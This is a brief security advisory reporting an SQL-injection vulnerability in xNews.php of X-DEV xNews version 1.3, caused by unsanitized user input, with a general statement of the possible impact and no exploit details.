Discussion
X-DEV xNews xNews.php SQL Injection Vulnerability
xNews is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.
This issue affects version 1.3; other versions may also be vulnerable.
